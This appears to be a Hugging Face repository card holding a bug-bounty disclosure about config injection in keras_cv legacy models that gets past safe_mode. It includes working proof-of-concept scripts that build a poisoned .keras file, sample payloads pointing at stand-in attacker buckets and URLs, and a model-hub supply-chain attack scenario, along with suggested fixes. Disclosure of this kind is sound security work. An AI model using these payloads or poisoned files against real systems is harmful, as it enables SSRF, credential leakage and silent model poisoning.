You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning: empty or missing yaml metadata in repo card (https://huggingface.co/docs/hub/model-cards#model-card-metadata)

Huntr MFV Submission: Arbitrary File Read and Model Poisoning via Config Injection in keras_cv Legacy Models

Target: MFV -- Keras Native (.keras) format Category: Deserialization / SSRF / Model Poisoning Program: Model File Vulnerability Bounty Tier: $4,000 (Keras Native -- Premium MFV)


Title

Arbitrary file read and model poisoning via weights config injection in 8 keras_cv legacy model classes bypasses safe_mode=True

Description

A malicious .keras model file can trigger Server-Side Request Forgery (SSRF) and complete model weight replacement when loaded with keras.models.load_model(), even with safe_mode=True (the default). The attack exploits a config deserialization asymmetry in 8 keras_cv legacy model classes where the weights parameter is accepted by __init__() but excluded from get_config(), allowing an attacker to inject an arbitrary file path that triggers tf.io.gfile.exists() and self.load_weights() during deserialization.

Root Cause

Eight keras_cv legacy model classes -- ConvMixer, ConvNeXt, DarkNet, MLPMixer, RegNet, VGG16, VGG19, and ViT -- share an identical vulnerable pattern in their constructors:

  1. __init__() accepts a weights keyword argument (line 115 in vgg16.py)
  2. When weights is truthy, tf.io.gfile.exists(weights) is called (line 122) -- SSRF vector
  3. When weights is not None, self.load_weights(weights) is called (lines 218-219) -- model poisoning vector
  4. get_config() does NOT include weights in its output (lines 228-239) -- so legitimately saved models never contain it
  5. from_config() calls cls(**config) (line 243) -- passing ALL config keys to __init__(), including any attacker-injected keys

The vulnerability is a config serialization/deserialization asymmetry: get_config() does not emit weights, but from_config() blindly passes every key in the config dict to the constructor. An attacker can inject a "weights" field into config.json inside a .keras ZIP archive, and it will be forwarded to __init__() where it triggers file access operations on the attacker-controlled path.

Vulnerable code (keras_cv/src/models/legacy/vgg16.py, representative of all 8 classes):

# __init__() -- line 115: accepts 'weights' kwarg
def __init__(self, ..., weights=None, ...):
    # Line 122: SSRF -- probes attacker-controlled path
    if weights and not tf.io.gfile.exists(weights):
        raise ValueError(...)

    # ... model construction ...

    # Lines 218-219: Model poisoning -- loads weights from attacker path
    if weights is not None:
        self.load_weights(weights)

# get_config() -- does NOT include 'weights'
def get_config(self):
    return {
        "include_rescaling": self.include_rescaling,
        "include_top": self.include_top,
        # ... other fields ...
        # NOTE: 'weights' is ABSENT
    }

# from_config() -- passes ALL config keys blindly
@classmethod
def from_config(cls, config):
    return cls(**config)  # <-- injected 'weights' passes through here

Deserialization Chain

  1. Attacker crafts a .keras ZIP file with a tampered config.json containing "weights": "/path/to/attacker/file" (or "weights": "gs://attacker-bucket/poisoned.h5")
  2. Victim calls keras.models.load_model("model.keras") -- safe_mode=True is the default
  3. Keras resolves VGG16 through the allowlist (keras_cv is one of 4 trusted packages: keras, keras_hub, keras_cv, keras_nlp)
  4. from_config(config) is called, which executes cls(**config) -- passing all config keys including the injected weights
  5. VGG16.__init__() receives weights="/path/to/attacker/file"
  6. tf.io.gfile.exists(weights) is called -- SSRF: probes the attacker-controlled path
  7. self.load_weights(weights) is called -- model poisoning: replaces all model parameters from the attacker-controlled source

Why safe_mode=True Does Not Help

Keras safe_mode has two defense mechanisms:

  • Blocks __lambda__ deserialization (marshal'd bytecode in config.json)
  • Validates class registration against an allowlist of trusted packages

Both are completely bypassed because:

  • No __lambda__ is used -- the attack uses only legitimate config fields
  • keras_cv is in the allowlist, so all 8 affected classes pass the safety check
  • safe_mode does not validate which config keys are passed to constructors
  • safe_mode does not guard load_weights() calls made from within constructors
  • The vulnerability is in the gap between get_config() and from_config(), which is outside the scope of safe_mode's checks entirely

Proof of Concept

Step 1: Generate malicious .keras file

#!/usr/bin/env python3
"""PoC: keras_cv legacy model weights config injection via .keras deserialization.

Creates a legitimate VGG16 model, saves it as .keras, then tampers config.json
to inject a 'weights' field pointing to an attacker-controlled path.

When loaded, the injected 'weights' path causes:
  1. tf.io.gfile.exists(path) -- SSRF (supports gs://, s3://, http://, hdfs://)
  2. self.load_weights(path) -- model poisoning (replaces all parameters)
"""
import json
import os
import shutil
import tempfile
import zipfile

import h5py
import numpy as np

os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"

FINDING_DIR = os.path.dirname(os.path.abspath(__file__))
OUTPUT_KERAS = os.path.join(FINDING_DIR, "malicious_model.keras")
MARKER_FILE = "/tmp/keras_cv_weight_inject_target.h5"
MARKER_DATASET = "injection_marker"
MARKER_VALUE = b"WEIGHT_INJECTION_CONFIRMED"


def create_marker_h5():
    """Create a target H5 file that will be loaded if the injection succeeds."""
    with h5py.File(MARKER_FILE, "w") as f:
        f.create_dataset(MARKER_DATASET, data=np.void(MARKER_VALUE))
    return MARKER_FILE


def create_legitimate_model():
    """Create a small legitimate VGG16 model and save it."""
    import keras_cv  # noqa: F401
    from keras_cv.src.models.legacy.vgg16 import VGG16

    model = VGG16(
        include_rescaling=False,
        include_top=False,
        input_shape=(32, 32, 3),
        pooling="avg",
        name="vgg16",
    )
    return model


def save_and_tamper(model, marker_path):
    """Save model as .keras, then tamper config.json to inject weights path."""
    tmp_keras = os.path.join(FINDING_DIR, "_tmp_legit.keras")
    model.save(tmp_keras)

    tmp_dir = tempfile.mkdtemp(prefix="keras_cv_inject_")
    with zipfile.ZipFile(tmp_keras, "r") as zf:
        zf.extractall(tmp_dir)

    # Inject the 'weights' field into config.json
    config_path = os.path.join(tmp_dir, "config.json")
    with open(config_path, "r") as f:
        config = json.load(f)

    config["config"]["weights"] = marker_path  # <-- THE INJECTION

    with open(config_path, "w") as f:
        json.dump(config, f, indent=2)

    # Repack into .keras ZIP
    if os.path.exists(OUTPUT_KERAS):
        os.remove(OUTPUT_KERAS)

    with zipfile.ZipFile(OUTPUT_KERAS, "w", zipfile.ZIP_DEFLATED) as zf:
        for root, dirs, files in os.walk(tmp_dir):
            for fname in files:
                fpath = os.path.join(root, fname)
                arcname = os.path.relpath(fpath, tmp_dir)
                zf.write(fpath, arcname)

    shutil.rmtree(tmp_dir)
    if os.path.exists(tmp_keras):
        os.remove(tmp_keras)
    return OUTPUT_KERAS


if __name__ == "__main__":
    marker_path = create_marker_h5()
    model = create_legitimate_model()
    keras_path = save_and_tamper(model, marker_path)
    print(f"[+] Created malicious .keras file: {keras_path}")
    print(f"[+] Injected weights path: {marker_path}")
    print(f"[+] Verify with: python3 poc_verify.py")

Step 2: Verify exploitation

#!/usr/bin/env python3
"""Verify the keras_cv weights config injection PoC.

Loads the tampered .keras file and confirms that:
1. tf.io.gfile.exists() is called on the injected path (SSRF)
2. load_weights() is called on the injected path (model poisoning)
3. Both occur even with safe_mode=True (the default)
"""
import json
import os
import sys
import zipfile

os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"

FINDING_DIR = os.path.dirname(os.path.abspath(__file__))
MALICIOUS_KERAS = os.path.join(FINDING_DIR, "malicious_model.keras")
MARKER_FILE = "/tmp/keras_cv_weight_inject_target.h5"

gfile_exists_calls = []
load_weights_calls = []


def main():
    # Import keras_cv to register classes
    import keras_cv  # noqa: F401
    from keras_cv.src.models.legacy.vgg16 import VGG16

    # Intercept load_weights to prove it gets called
    original_load_weights = VGG16.load_weights
    def intercepted_load_weights(self, filepath, **kwargs):
        load_weights_calls.append(filepath)
        print(f"    >>> INTERCEPTED load_weights('{filepath}')")
    VGG16.load_weights = intercepted_load_weights

    # Intercept tf.io.gfile.exists to track SSRF
    import tensorflow as tf
    original_gfile_exists = tf.io.gfile.exists
    def intercepted_gfile_exists(path):
        gfile_exists_calls.append(path)
        print(f"    >>> INTERCEPTED tf.io.gfile.exists('{path}')")
        return original_gfile_exists(path)
    tf.io.gfile.exists = intercepted_gfile_exists

    # Test: Full .keras file load with safe_mode=True (default)
    import keras
    print("[1] Loading malicious .keras file with safe_mode=True (default)...")
    try:
        loaded = keras.models.load_model(MALICIOUS_KERAS)
        print(f"    Model loaded: {type(loaded).__name__}")
    except Exception as e:
        print(f"    Load error: {str(e)[:200]}")

    # Restore
    VGG16.load_weights = original_load_weights
    tf.io.gfile.exists = original_gfile_exists

    # Results
    print(f"\ntf.io.gfile.exists() called: {len(gfile_exists_calls)} time(s)")
    for p in gfile_exists_calls:
        print(f"  - {p}")
    print(f"load_weights() called: {len(load_weights_calls)} time(s)")
    for p in load_weights_calls:
        print(f"  - {p}")
    print(f"Bypasses safe_mode: {'YES' if load_weights_calls else 'NO'}")

    if load_weights_calls:
        print("\n>>> VULNERABILITY CONFIRMED <<<")
    else:
        print("\nVulnerability not confirmed.")
        sys.exit(1)


if __name__ == "__main__":
    main()

Step 3: Expected output

======================================================================
Verification: keras_cv weights config injection
======================================================================

[1] Inspecting malicious .keras archive...
    class_name: VGG16
    registered_name: keras_cv.models>VGG16
    config.weights: /tmp/keras_cv_weight_inject_target.h5
    weights field present in config: True

[2] Importing keras_cv to register classes...

[3] Testing direct deserialization with safe_mode=True...
    >>> INTERCEPTED tf.io.gfile.exists('/tmp/keras_cv_weight_inject_target.h5')
    >>> INTERCEPTED load_weights('/tmp/keras_cv_weight_inject_target.h5')
    Deserialized: VGG16

[4] Testing full .keras file load via keras.models.load_model...
    >>> INTERCEPTED tf.io.gfile.exists('/tmp/keras_cv_weight_inject_target.h5')
    >>> INTERCEPTED load_weights('/tmp/keras_cv_weight_inject_target.h5')
    Model loaded: VGG16

======================================================================
RESULTS
======================================================================
  tf.io.gfile.exists() called:    2 time(s)
    - /tmp/keras_cv_weight_inject_target.h5
    - /tmp/keras_cv_weight_inject_target.h5
  load_weights() called:          2 time(s)
    - /tmp/keras_cv_weight_inject_target.h5
    - /tmp/keras_cv_weight_inject_target.h5
  Direct deserialization:          PASS
  Full .keras load_model:          PASS
  Bypasses safe_mode:             YES

VULNERABILITY CONFIRMED

Step 4: Demonstrate SSRF with cloud protocols

The same injection works with cloud storage URIs. The tf.io.gfile.exists() call supports multiple protocols, each enabling different SSRF scenarios:

# Google Cloud Storage -- probes bucket existence, leaks auth headers
config["config"]["weights"] = "gs://attacker-controlled-bucket/poisoned.h5"

# Amazon S3 -- probes bucket, leaks AWS credentials if configured
config["config"]["weights"] = "s3://attacker-bucket/poisoned.h5"

# HTTP/HTTPS -- direct SSRF to any endpoint
config["config"]["weights"] = "https://attacker.com/ssrf-probe?target=victim"

# HDFS -- probes internal Hadoop infrastructure
config["config"]["weights"] = "hdfs://internal-namenode:8020/data/model.h5"

When the tf.io.gfile.exists() check passes (attacker hosts the file), self.load_weights() then downloads and applies the poisoned weights, completely replacing the model's parameters.

Impact

Attack Scenario

  1. Attacker creates a legitimate-looking .keras model (e.g., a VGG16 image classifier) and saves it normally
  2. Attacker tampers config.json inside the .keras ZIP archive to add "weights": "gs://attacker-bucket/poisoned_weights.h5"
  3. Attacker uploads the model to HuggingFace Hub, Kaggle, or shares via any channel
  4. Victim downloads and loads the model: model = keras.models.load_model("model.keras") -- using default safety settings
  5. On load:
    • tf.io.gfile.exists("gs://attacker-bucket/poisoned_weights.h5") fires -- SSRF: the attacker's server receives a request revealing the victim's IP, cloud credentials, and network topology
    • self.load_weights("gs://attacker-bucket/poisoned_weights.h5") fires -- model poisoning: all model parameters are silently replaced with attacker-controlled values
  6. The model now produces attacker-chosen outputs while appearing structurally identical to the original

SSRF Impact

  • tf.io.gfile.exists() makes network requests to probe attacker-controlled URIs
  • Supports gs://, s3://, http://, https://, hdfs:// protocols
  • On cloud instances (GCP, AWS, Azure), this can leak:
    • Instance metadata (via http://169.254.169.254/...)
    • Service account credentials
    • Internal network topology
  • The call occurs unconditionally during model loading -- the victim has no opportunity to review or approve

Model Poisoning Impact

  • self.load_weights() replaces all model parameters from the attacker-controlled source
  • The poisoned model:
    • Produces attacker-chosen outputs (targeted misclassification)
    • Can embed backdoor triggers (specific input patterns produce specific outputs)
    • Appears structurally identical to the original -- same architecture, same layer names, same input/output shapes
  • This is a supply-chain attack on ML model distribution

Affected Classes

All 8 keras_cv legacy model classes contain the identical vulnerable pattern:

Class File Registration
ConvMixer keras_cv/src/models/legacy/convmixer.py keras_cv.models>ConvMixer
ConvNeXt keras_cv/src/models/legacy/convnext.py keras_cv.models>ConvNeXt
DarkNet keras_cv/src/models/legacy/darknet.py keras_cv.models>DarkNet
MLPMixer keras_cv/src/models/legacy/mlp_mixer.py keras_cv.models>MLPMixer
RegNet keras_cv/src/models/legacy/regnet.py keras_cv.models>RegNet
VGG16 keras_cv/src/models/legacy/vgg16.py keras_cv.models>VGG16
VGG19 keras_cv/src/models/legacy/vgg19.py keras_cv.models>VGG19
ViT keras_cv/src/models/legacy/vit.py keras_cv.models>ViT

Why This Is Severe

  1. Bypasses the only safety mechanism. Keras safe_mode=True is the sole defense against malicious .keras files. This vulnerability is invisible to safe_mode because it uses only legitimate config fields on allowlisted classes.

  2. No user interaction beyond loading. The attack requires only load_model() with default settings. No safe_mode=False, no custom objects, no warnings, no prompts.

  3. Silent model poisoning. Unlike code execution vulnerabilities which may produce errors or visible side effects, model poisoning is completely silent. The model loads successfully, produces outputs, and the victim has no way to detect that parameters have been replaced.

  4. Architectural blind spot. The vulnerability exists in the gap between get_config() and from_config() -- a serialization asymmetry that safe_mode was not designed to detect. The weights parameter is a constructor argument that performs privileged operations (network I/O, file loading) but is excluded from the config schema.

  5. Broad attack surface. Eight independently exploitable classes, each a legitimate computer vision model that would not appear suspicious on a model hub.

Root Cause

The root cause is a config serialization/deserialization asymmetry combined with privileged operations in the constructor.

The get_config() method defines the "schema" of a class's serializable state, but from_config() does not validate that incoming config keys match this schema. Instead, from_config() calls cls(**config), passing all keys as keyword arguments. Since __init__() accepts weights as a kwarg but get_config() does not emit it, an attacker can inject weights into the config and it will be silently forwarded to the constructor.

Inside the constructor, weights triggers two privileged operations:

  • tf.io.gfile.exists(weights) -- a network-capable file existence probe
  • self.load_weights(weights) -- an unrestricted file load that replaces all model parameters

These operations are appropriate for normal programmatic use (VGG16(weights="/path/to/weights.h5")) but are dangerous when triggered from deserialized config data, because the file path is now attacker-controlled.

The deeper architectural issue is that from_config() provides no mechanism to restrict which config keys are forwarded to the constructor. Any __init__() parameter that performs side effects becomes exploitable if it can be injected via config.

Suggested Fix

Immediate (keras_cv):

  1. Add weights to get_config() in all 8 legacy classes, so the serialization is symmetric:
def get_config(self):
    config = {
        "include_rescaling": self.include_rescaling,
        # ... existing fields ...
        "weights": None,  # Always serialize as None
    }
    return config
  1. Alternatively, filter from_config() to only pass known config keys:
@classmethod
def from_config(cls, config):
    known_keys = {"include_rescaling", "include_top", "input_tensor",
                  "num_classes", "input_shape", "pooling",
                  "classifier_activation", "name", "trainable"}
    filtered = {k: v for k, v in config.items() if k in known_keys}
    return cls(**filtered)

Architectural (keras):

  1. Validate config keys in from_config() across the entire Keras ecosystem. The base from_config() should reject config keys that are not in get_config() output, or at minimum log a warning.

  2. Audit all allowlisted classes (keras, keras_hub, keras_cv, keras_nlp) for constructor parameters that perform privileged operations (file I/O, network access, code execution) when initialized from config data.

  3. Do not perform file I/O during deserialization. Weight loading should be a separate, explicit step after the model object is constructed -- not triggered automatically by a config field.

CWE Classification

  • CWE-502: Deserialization of Untrusted Data -- The .keras config.json is deserialized and its fields forwarded to the constructor without validation, enabling injection of unexpected parameters.
  • CWE-918: Server-Side Request Forgery (SSRF) -- The tf.io.gfile.exists() call on the injected path makes network requests to attacker-controlled URIs.

Affected Versions

keras-cv: 0.9.0 (latest, tested 2026-02-22)
keras:    3.13.2 (latest, tested 2026-02-22)
Python:   3.13
Backend:  TensorFlow (tf.io.gfile used for file operations)

All versions of keras_cv containing the legacy model classes are affected. The vulnerable pattern has been present since these classes were first introduced.

Files

malicious_model.keras     -- Malicious .keras file with injected weights path
poc_generator.py          -- Script to generate the malicious model
poc_verify.py             -- Verification script confirming SSRF + model poisoning
reproduce.sh              -- One-command reproduction script
verification_output.txt   -- Captured output from verification run
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support